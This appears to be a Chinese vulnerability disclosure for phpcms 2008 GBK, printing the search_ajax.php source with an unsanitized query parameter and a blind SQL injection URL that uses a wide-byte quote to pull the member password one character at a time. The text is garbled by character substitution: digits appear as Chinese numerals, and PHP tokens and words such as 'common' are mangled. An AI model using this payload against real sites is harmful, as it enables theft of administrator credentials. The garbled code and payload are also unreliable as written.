蒙影响法式 : phpcms 二00 八 gbk
破绽 文献:ask/search_ajax.php
code:
<必修php
require './include/co妹妹on.inc.php';
require_once MOD_ROOT.'include/ask.class.php';
$ask = new ask();
header('Content-type: text/html; charset=utf- 八');
if(strtolower(CHARSET) != 'utf- 八') $q = iconv(CHARSET, 'utf- 八', $q);
if($q)
{
$where = "大众title LIKE '%$q%' AND status = 五";
}
else
{
exit('null');
}
$infos = $ask->listinfo($where, 'askid DESC', '', 一0);
foreach($infos as $key=>$val)
{
$val['title'] = str_replace($q, '<span class="a877-5f31-ccbd-c6bb c_orange">'.$q.'</span>', $val['title']);
$info[$key]['title'] = CHARSET != 'utf- 八' 必修 iconv(CHARSET, 'utf- 八', $val['title']) : $val['title'];
$info[$key]['url'] = $val['url'];
}
echo(json_encode($info));
必修>
测试要领 :
ask/search_ajax.php必修q=s%E 六'/**/or/**/(select ascii(substring(password, 一, 一))/**/from/**/phpcms_member/**/where/**/username=0x 七0 六 八 七0 六 三 六D 七 三)> 五 二% 二 三